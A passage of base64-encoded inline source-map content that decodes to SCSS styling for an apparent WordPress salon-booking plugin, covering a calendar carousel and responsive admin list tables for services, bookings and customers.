0LXdlaWdodDogNzAwO1xuICAgIGNvbG9yOiAjZmZmO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gIH1cblxuICAmX19iZW5lZml0cyB7XG4gICAgbGlzdC1zdHlsZTogbm9uZTtcbiAgICBtYXJnaW46IDAgMCAxNnB4IDA7XG4gICAgcGFkZGluZzogMDtcblxuICAgIGxpIHtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIHBhZGRpbmctbGVmdDogMjhweDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICBjb2xvcjogI2U3ZWRmMjtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjU7XG5cbiAgICAgICY6bGFzdC1jaGlsZCB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICB9XG5cbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIGNvbnRlbnQ6ICfinJMnO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIHRvcDogMDtcbiAgICAgICAgd2lkdGg6IDIwcHg7XG4gICAgICAgIGhlaWdodDogMjBweDtcbiAgICAgICAgYmFja2dyb3VuZDogcmdiYSgxNiwgMTg1LCAxMjksIDAuMik7XG4gICAgICAgIGNvbG9yOiAjMTBiOTgxO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgJl9fcHJvb2Yge1xuICAgIG1hcmdpbjogMDtcbiAgICBmb250LXNpemU6IDEycHg7XG4gICAgY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC43NSk7XG4gICAgZm9udC1zdHlsZTogaXRhbGljO1xuICB9XG5cbiAgJl9fY3RhIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogOHB4O1xuICAgIGJhY2tncm91bmQ6ICNmZmY7XG4gICAgY29sb3I6ICMyMTcxYjE7XG4gICAgZm9udC1zaXplOiAxNHB4O1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7XG4gICAgcGFkZGluZzogMTJweCAyNHB4O1xuICAgIHRyYW5zaXRpb246IGFsbCAwLjJzO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgYWxpZ24tc2VsZjogc3RhcnQ7XG4gICAgbWFyZ2luLXRvcDogOHB4O1xuXG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiAjZjFmNGY3O1xuICAgICAgY29sb3I6ICMxYTVhOGY7XG4gICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7XG4gICAgICBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgfVxuXG4gICAgc3ZnIHtcbiAgICAgIHdpZHRoOiAxNnB4O1xuICAgICAgaGVpZ2h0OiAxNnB4O1xuICAgIH1cbiAgfVxuXG4gICZfX2RvdHMge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZ2FwOiA4cHg7XG4gICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgbWFyZ2luLXRvcDogMjRweDtcbiAgfVxuXG4gICZfX2RvdCB7XG4gICAgd2lkdGg6IDhweDtcbiAgICBoZWlnaHQ6IDhweDtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBwYWRkaW5nOiAwO1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcztcblxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjYpO1xuICAgIH1cblxuICAgICYtLWFjdGl2ZSB7XG4gICAgICB3aWR0aDogMjRweDtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICAgIGJhY2tncm91bmQ6ICNmZmY7XG4gICAgfVxuICB9XG5cbiAgLy8gUmVzcG9uc2l2ZTogVGFibGV0XG4gIEBtZWRpYSAobWF4LXdpZHRoOiAxMDI0cHgpIHtcbiAgICAmX19zbGlkZS0tYWN0aXZlIHtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogbWlubWF4KDAsIDFmcikgYXV0bztcbiAgICAgIGdhcDogMjBweDtcbiAgICB9XG5cbiAgICAmX19pY29uIHtcbiAgICAgIHdpZHRoOiA1NnB4O1xuICAgICAgaGVpZ2h0OiA1NnB4O1xuICAgIH1cblxuICAgICZfX2N0YSB7XG4gICAgICBtYXJnaW4tdG9wOiAxNnB4O1xuICAgIH1cbiAgfVxuXG4gIC8vIFJlc3BvbnNpdmU6IE1vYmlsZVxuICBAbWVkaWEgKG1heC13aWR0aDogNjQwcHgpIHtcbiAgICBwYWRkaW5nOiAyNHB4IDIwcHg7XG4gICAgXG4gICAgJl9fY2xvc2Uge1xuICAgICAgdG9wOiAxNnB4O1xuICAgICAgcmlnaHQ6IDE2cHg7XG4gICAgICB3aWR0aDogMjhweDtcbiAgICAgIGhlaWdodDogMjhweDtcbiAgICB9XG4gICAgXG4gICAgJl9fc2xpZGUtLWFjdGl2ZSB7XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcbiAgICAgIGdhcDogMTZweDtcbiAgICB9XG4gICAgXG4gICAgJl9faWNvbiB7XG4gICAgICB3aWR0aDogNDhweDtcbiAgICAgIGhlaWdodDogNDhweDtcbiAgICAgIG1hcmdpbjogMCBhdXRvO1xuICAgIH1cbiAgICBcbiAgICAmX19jb250ZW50IHtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICB9XG4gICAgXG4gICAgJl9faGVhZGxpbmUge1xuICAgICAgZm9udC1zaXplOiAxOHB4O1xuICAgICAgbWFyZ2luLWJvdHRvbTogMTJweDtcbiAgICB9XG4gICAgXG4gICAgJl9fYmVuZWZpdHMge1xuICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgIG1heC13aWR0aDogNDAwcHg7XG4gICAgICBtYXJnaW4tbGVmdDogYXV0bztcbiAgICAgIG1hcmdpbi1yaWdodDogYXV0bztcblxuICAgICAgbGkge1xuICAgICAgICBmb250LXNpemU6IDEzcHg7XG4gICAgICB9XG4gICAgfVxuICAgIFxuICAgICZfX2N0YSB7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgbWFyZ2luLXRvcDogMTZweDtcbiAgICB9XG4gICAgXG4gICAgJl9fZG90cyB7XG4gICAgICBtYXJnaW4tdG9wOiAyMHB4O1xuICAgIH1cbiAgfVxufVxuXG4vLyBBbmltYXRpb24gZm9yIHNsaWRlIHRyYW5zaXRpb25zXG5Aa2V5ZnJhbWVzIGZhZGVJbiB7XG4gIGZyb20ge1xuICAgIG9wYWNpdHk6IDA7XG4gIH1cbiAgdG8ge1xuICAgIG9wYWNpdHk6IDE7XG4gIH1cbn1cblxuLy8gUGF1c2UgYW5pbWF0aW9uIG9uIGhvdmVyXG4uc2xuLWNhbGVuZGFyLWNhcm91c2VsOmhvdmVyIC5zbG4tY2FsZW5kYXItY2Fyb3VzZWxfX3NsaWRlLS1hY3RpdmUge1xuICBhbmltYXRpb24tcGxheS1zdGF0ZTogcGF1c2VkO1xufVxuIiwiLndwLWxpc3QtdGFibGUud2lkZWZhdCB7XG4gICAgLy90aGVhZCB7XG4gICAgLy8gICAgdHIge1xuICAgIC8vICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2MzYzRjNztcbiAgICAvLyAgICB9XG4gICAgLy8gICAgdGQsXG4gICAgLy8gICAgdGgge1xuICAgIC8vICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgIC8vICAgIH1cbiAgICAvL31cbn1cblxuLy9AbWVkaWEgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA1NTBweCkgYW5kIChtYXgtd2lkdGg6IDc4MnB4KSB7XG5AbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3ODJweCkge1xuICAgIC5wb3N0LXR5cGUtc2xuX3NlcnZpY2VcbiAgICAgICAgLndwLWxpc3QtdGFibGVcbiAgICAgICAgdHI6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpOm5vdCguaXMtZXhwYW5kZWQpIHtcbiAgICAgICAgLmNvbHVtbi1JRCxcbiAgICAgICAgLnNvcnRpbmctaW5kaWNhdG9yIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgIH1cbiAgICB9XG4gICAgLndwLWxpc3QtdGFibGUgdHI6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpOm5vdCguaXMtZXhwYW5kZWQpIHtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAuY29sdW1uLXByaW1hcnksXG4gICAgICAgIC5jb2x1bW4tYm9va2luZ19kYXRlLFxuICAgICAgICAuY29sdW1uLWJvb2tpbmdfc3RhdHVzLFxuICAgICAgICAuY29sdW1uLW15YXV0aG9yLFxuICAgICAgICAuY29sdW1uLWZpcnN0X25hbWUsXG4gICAgICAgIC5jb2x1bW4tbGFzdF9uYW1lLFxuICAgICAgICAuY29sdW1uLXVzZXJfZW1haWwsXG4gICAgICAgICN0aXRsZSxcbiAgICAgICAgLmNvbHVtbi1zZXJ2aWNlX2R1cmF0aW9uLFxuICAgICAgICAuY29sdW1uLXNlcnZpY2VfcHJpY2UsXG4gICAgICAgIC5jb2x1bW4tc2xuX2RheXNfb2ZmIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jayAhaW1wb3J0YW50O1xuICAgICAgICAgICAgLy9kaXNwbGF5OiB0YWJsZS1jZWxsICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICB3aWR0aDogMjUlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBwYWRkaW5nOiAxZW0gIWltcG9ydGFudDtcbiAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgdGguY29sdW1uLXByaW1hcnksXG4gICAgICAgIHRkLmNvbHVtbi1wcmltYXJ5IHtcbiAgICAgICAgICAgIHBvc2l0aW9uOiB1bnNldDtcbiAgICAgICAgICAgIC5yb3ctYWN0aW9ucyB7XG4gICAgICAgICAgICAgICAgLmNsb25lLFxuICAgICAgICAgICAgICAgIC5pbmxpbmUuaGlkZS1pZi1uby1qcyxcbiAgICAgICAgICAgICAgICAudmlldyB7XG4gICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHRoLnNvcnRhYmxlIGEsXG4gICAgICAgIHRoLnNvcnRlZCBhIHtcbiAgICAgICAgICAgIHBhZGRpbmc6IDA7XG4gICAgICAgICAgICAuc29ydGluZy1pbmRpY2F0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiB2aXNpYmxlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwLjc1ZW07XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLmNvbHVtbi1zcXVhcmVfcG9zIHtcbiAgICAgICAgLmJ1dHRvbiB7XG4gICAgICAgICAgICB3aWR0aDogYXV0byAhaW1wb3J0YW50O1xuICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMS41ZW07XG4gICAgICAgICAgICBwYWRkaW5nOiAwIDEuNWVtO1xuICAgICAgICB9XG4gICAgfVxuICAgIC53cC1saXN0LXRhYmxlIHRyLmlzLWV4cGFuZGVkIHtcbiAgICAgICAgdGQ6bGFzdC1jaGlsZCB7XG4gICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxcmVtO1xuICAgICAgICB9XG4gICAgfVxuICAgIC53cC1saXN0LXRhYmxlIHRyOm5vdCguaW5saW5lLWVkaXQtcm93KTpub3QoLm5vLWl0ZW1zKSB7XG4gICAgICAgIC5jb2x1bW4tdG90YWxfYW1vdW50IHtcbiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFlbTtcbiAgICAgICAgfVxuICAgIH1cbiAgICAuc2Fsb25fcGFnZV9zYWxvbi1jdXN0b21lcnMgLnRhYmxlbmF2LnRvcCAuYWN0aW9uczpub3QoLmJ1bGthY3Rpb25zKSB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG4gICAgLnNhbG9uX3BhZ2Vfc2Fsb24tY3VzdG9tZXJzXG4gICAgICAgIC50YWJsZW5hdi50b3BcbiAgICAgICAgLmFjdGlvbnM6bm90KC5idWxrYWN0aW9ucylcbiAgICAgICAgLnNlYXJjaC1ib3gge1xuICAgICAgICBtYXJnaW4tbGVmdDogMDtcbiAgICB9XG4gICAgcC5zZWFyY2gtYm94IHtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICBib3R0b206IHVuc2V0O1xuICAgICAgICB3aWR0aDogNjAlO1xuICAgICAgICBoZWlnaHQ6IGF1dG87XG4gICAgICAgIG1hcmdpbjogMjBweCBhdXRvO1xuICAgICAgICAvL2Rpc3BsYXk6IGdyaWQ7XG4gICAgICAgIC8vZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA3MCUgMzAlO1xuICAgICAgICAvL2dyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgI3Bvc3Qtc2VhcmNoLWlucHV0IHtcbiAgICAgICAgICAgIC8vZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgICAvL2dyaWQtcm93OiAxO1xuICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxZW07XG4gICAgICAgIH1cbiAgICAgICAgI3NlYXJjaC1zdWJtaXQge1xuICAgICAgICAgICAgLy9ncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICAgIC8vZ3JpZC1yb3c6IDE7XG4gICAgICAgIH1cbiAgICB9XG4gICAgLnBvc3QtdHlwZS1zbG5fc2VydmljZVxuICAgICAgICAud3AtbGlzdC10YWJsZVxuICAgICAgICAuaXMtZXhwYW5kZWRcbiAgICAgICAgdGQuY29sdW1uLUlEOm5vdCguaGlkZGVuKSB7XG4gICAgICAgIGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDtcbiAgICB9XG59XG5AbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA1NTBweCkge1xuICAgIC53cC1saXN0LXRhYmxlLFxuICAgIC53aWRlZmF0LndwLWxpc3QtdGFibGUge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgdGhlYWQsXG4gICAgICAgIHRmb290IHtcbiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgfVxuICAgICAgICB0Ym9keSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgICAgICB9XG4gICAgICAgIHRoZWFkIHtcbiAgICAgICAgICAgIHRyOm5vdCguaW5saW5lLWVkaXQtcm93KTpub3QoLm5vLWl0ZW1zKTpub3QoLmlzLWV4cGFuZGVkKSB7XG4gICAgICAgICAgICAgICAgLmNvbHVtbi1wcmltYXJ5LFxuICAgICAgICAgICAgICAgIC5jb2x1bW4tYm9va2luZ19kYXRlLFxuICAgICAgICAgICAgICAgIC5jb2x1bW4tYm9va2luZ19zdGF0dXMsXG4gICAgICAgICAgICAgICAgLmNvbHVtbi1teWF1dGhvciB7XG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAyMiUgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuY2hlY2stY29sdW1uIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nLXRvcDogMTRweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLndwLWxpc3QtdGFibGUgdHI6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpOm5vdCguaXMtZXhwYW5kZWQpIHtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICB0aC5jb2x1bW4tcHJpbWFyeSxcbiAgICAgICAgdGguY29sdW1uLWJvb2tpbmdfZGF0ZSxcbiAgICAgICAgdGguY29sdW1uLWJvb2tpbmdfc3RhdHVzLFxuICAgICAgICB0aC5jb2x1bW4tbXlhdXRob3IsXG4gICAgICAgIHRoLmNvbHVtbi1maXJzdF9uYW1lLFxuICAgICAgICB0aC5jb2x1bW4tbGFzdF9uYW1lLFxuICAgICAgICB0aC5jb2x1bW4tdXNlcl9lbWFpbCxcbiAgICAgICAgdGguY29sdW1uLXNlcnZpY2VfZHVyYXRpb24sXG4gICAgICAgIHRoLmNvbHVtbi1zZXJ2aWNlX3ByaWNlLFxuICAgICAgICB0aC5jb2x1bW4tc2xuX2RheXNfb2ZmIHtcbiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgICAgICAgICBkaXJlY3Rpb246IHJ0bDtcbiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcbiAgICAgICAgfVxuICAgIH1cbiAgICAud3AtbGlzdC10YWJsZVxuICAgICAgICB0Ym9keVxuICAgICAgICB0cjpub3QoLmlubGluZS1lZGl0LXJvdyk6bm90KC5uby1pdGVtcyk6bm90KC5pcy1leHBhbmRlZCkge1xuICAgICAgICB3aWR0aDogY2FsYygxMDB2dyAtIDI0cHgpICFpbXBvcnRhbnQ7XG4gICAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogNDVweCBhdXRvIDQ1cHg7XG4gICAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogNDVweCBhdXRvIGF1dG8gYXV0byA0NXB4O1xuICAgICAgICB0ZFtkYXRhLWNvbG5hbWU9XCJTZXJ2aWNlIElEXCJdIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgIH1cbiAgICAgICAgdGQuY29sdW1uLXByaW1hcnkge1xuICAgICAgICAgICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgICAgICBncmlkLXJvdzogMSAvIHNwYW4gNTtcbiAgICAgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBkaXNwbGF5OiBncmlkICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcbiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogNDVweCBhdXRvIDM1cHg7XG4gICAgICAgICAgICBwYWRkaW5nOiAxZW0gMWVtIDAuNzVlbSAxZW0gIWltcG9ydGFudDtcbiAgICAgICAgICAgIHAge1xuICAgICAgICAgICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICAgICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgLnJvdy1hY3Rpb25zIHtcbiAgICAgICAgICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgICAgICAgICBncmlkLXJvdzogMztcbiAgICAgICAgICAgICAgICBhbGlnbi1zZWxmOiBlbmQ7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNkZGQ7XG4gICAgICAgICAgICAgICAgbGVmdDogdW5zZXQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnRpdGxlIHtcbiAgICAgICAgICAgICAgICAucm93LXRpdGxlIHtcbiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgICAgICAgICAgIG1heC13aWR0aDogNjZ2dztcbiAgICAgICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICAgICAgICAgICAgICAgICAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5jaGVjay1jb2x1bW4ge1xuICAgICAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgfVxuICAgICAgICB0ZC5jb2x1bW4tYm9va2luZ19kYXRlLFxuICAgICAgICB0ZC5jb2x1bW4tYm9va2luZ19zdGF0dXMsXG4gICAgICAgIHRkLmNvbHVtbi1teWF1dGhvcixcbiAgICAgICAgLmNvbHVtbi1maXJzdF9uYW1lLFxuICAgICAgICAuY29sdW1uLWxhc3RfbmFtZSxcbiAgICAgICAgLmNvbHVtbi11c2VyX2VtYWlsLFxuICAgICAgICB0ZC5jb2x1bW4tc2VydmljZV9kdXJhdGlvbixcbiAgICAgICAgdGQuY29sdW1uLXNlcnZpY2VfcHJpY2UsXG4gICAgICAgIHRkLmNvbHVtbi1zbG5fZGF5c19vZmYge1xuICAgICAgICAgICAgd2lkdGg6IDEwMCUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDVweDtcbiAgICAgICAgICAgIHBhZGRpbmc6IDAuM2VtIDFlbSAwLjNlbSA0MCUgIWltcG9ydGFudDtcbiAgICAgICAgfVxuICAgICAgICB0ZC5jb2x1bW4tYm9va2luZ19kYXRlLFxuICAgICAgICAuY29sdW1uLWZpcnN0X25hbWUsXG4gICAgICAgIHRkLmNvbHVtbi1zZXJ2aWNlX2R1cmF0aW9uIHtcbiAgICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgICAgZ3JpZC1yb3c6IDI7XG4gICAgICAgICAgICBwYWRkaW5nLXRvcDogMC43NWVtICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgfVxuICAgICAgICB0ZC5jb2x1bW4tYm9va2luZ19zdGF0dXMsXG4gICAgICAgIC5jb2x1bW4tbGFzdF9uYW1lLFxuICAgICAgICB0ZC5jb2x1bW4tc2VydmljZV9wcmljZSB7XG4gICAgICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICAgIGdyaWQtcm93OiAzO1xuICAgICAgICB9XG4gICAgICAgIHRkLmNvbHVtbi1teWF1dGhvcixcbiAgICAgICAgLmNvbHVtbi11c2VyX2VtYWlsLFxuICAgICAgICB0ZC5jb2x1bW4tc2xuX2RheXNfb2ZmIHtcbiAgICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgICAgZ3JpZC1yb3c6IDQ7XG4gICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjc1ZW07XG4gICAgICAgIH1cbiAgICAgICAgdGQuY29sdW1uLXNsbl9kYXlzX29mZiB7XG4gICAgICAgICAgICBkaXNwbGF5OiAtd2Via2l0LWJveCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgLXdlYmtpdC1saW5lLWNsYW1wOiAyO1xuICAgICAgICAgICAgLXdlYmtpdC1ib3gtb3JpZW50OiB2ZXJ0aWNhbDtcbiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgIH1cbiAgICAgICAgdGQuY29sdW1uLXByaW1hcnksXG4gICAgICAgIHRkLmNvbHVtbi1ib29raW5nX2RhdGUsXG4gICAgICAgIHRkLmNvbHVtbi1ib29raW5nX3N0YXR1cyxcbiAgICAgICAgdGQuY29sdW1uLW15YXV0aG9yLFxuICAgICAgICAuY29sdW1uLWZpcnN0X25hbWUsXG4gICAgICAgIC5jb2x1bW4tbGFzdF9uYW1lLFxuICAgICAgICAuY29sdW1uLXVzZXJfZW1haWwsXG4gICAgICAgIHRkLmNvbHVtbi1zZXJ2aWNlX2R1cmF0aW9uLFxuICAgICAgICB0ZC5jb2x1bW4tc2VydmljZV9wcmljZSxcbiAgICAgICAgdGQuY29sdW1uLXNsbl9kYXlzX29mZiB7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIG9wYWNpdHk6IDAuNzU7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbiAgICAud3AtbGlzdC10YWJsZSB0Ym9keSB0ci5pcy1leHBhbmRlZDpub3QoLmlubGluZS1lZGl0LXJvdyk6bm90KC5uby1pdGVtcykge1xuICAgICAgICB3aWR0aDogY2FsYygxMDB2dyAtIDI0cHgpICFpbXBvcnRhbnQ7XG4gICAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogNDVweCBhdXRvIDQ1cHg7XG4gICAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogNDVweCBhdXRvO1xuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgIHRoIHtcbiAgICAgICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICB9XG4gICAgICAgIHRkIHtcbiAgICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgICAgcGFkZGluZy10b3A6IDFlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDFlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxM3B4O1xuICAgICAgICAgICAgbWluLWhlaWdodDogMi4ycmVtO1xuICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlZWU7XG4gICAgICAgICAgICAmOmxhc3QtY2hpbGQge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLmNvbHVtbi1wcmltYXJ5IHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA4cHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHVuc2V0O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5jb2x1bW4tYm9va2luZ19kYXRlIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbiAgICAud3AtbGlzdC10YWJsZSB0cjpub3QoLmlubGluZS1lZGl0LXJvdyk6bm90KC5uby1pdGVtcyk6bm90KC5pcy1leHBhbmRlZCkge1xuICAgICAgICB0aC5zb3J0YWJsZSBhLFxuICAgICAgICB0aC5zb3J0ZWQgYSB7XG4gICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgLnNvcnRpbmctaW5kaWNhdG9yIHtcbiAgICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICAgICAgcmlnaHQ6IC00cHg7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbiAgICAuc2Fsb25fcGFnZV9zYWxvbi1jdXN0b21lcnNcbiAgICAgICAgLndwLWxpc3QtdGFibGVcbiAgICAgICAgdGJvZHlcbiAgICAgICAgdHI6bm90KC5pbmxpbmUtZWRpdC1yb3cpOm5vdCgubm8taXRlbXMpOm5vdCguaXMtZXhwYW5kZWQpIHtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiA0NXB4IGF1dG8gYXV0byBhdXRvIDc1cHg7XG4gICAgICAgIHRkLmNvbHVtbi1wcmltYXJ5IHtcbiAgICAgICAgICAgIC5yb3ctYWN0aW9ucyB7XG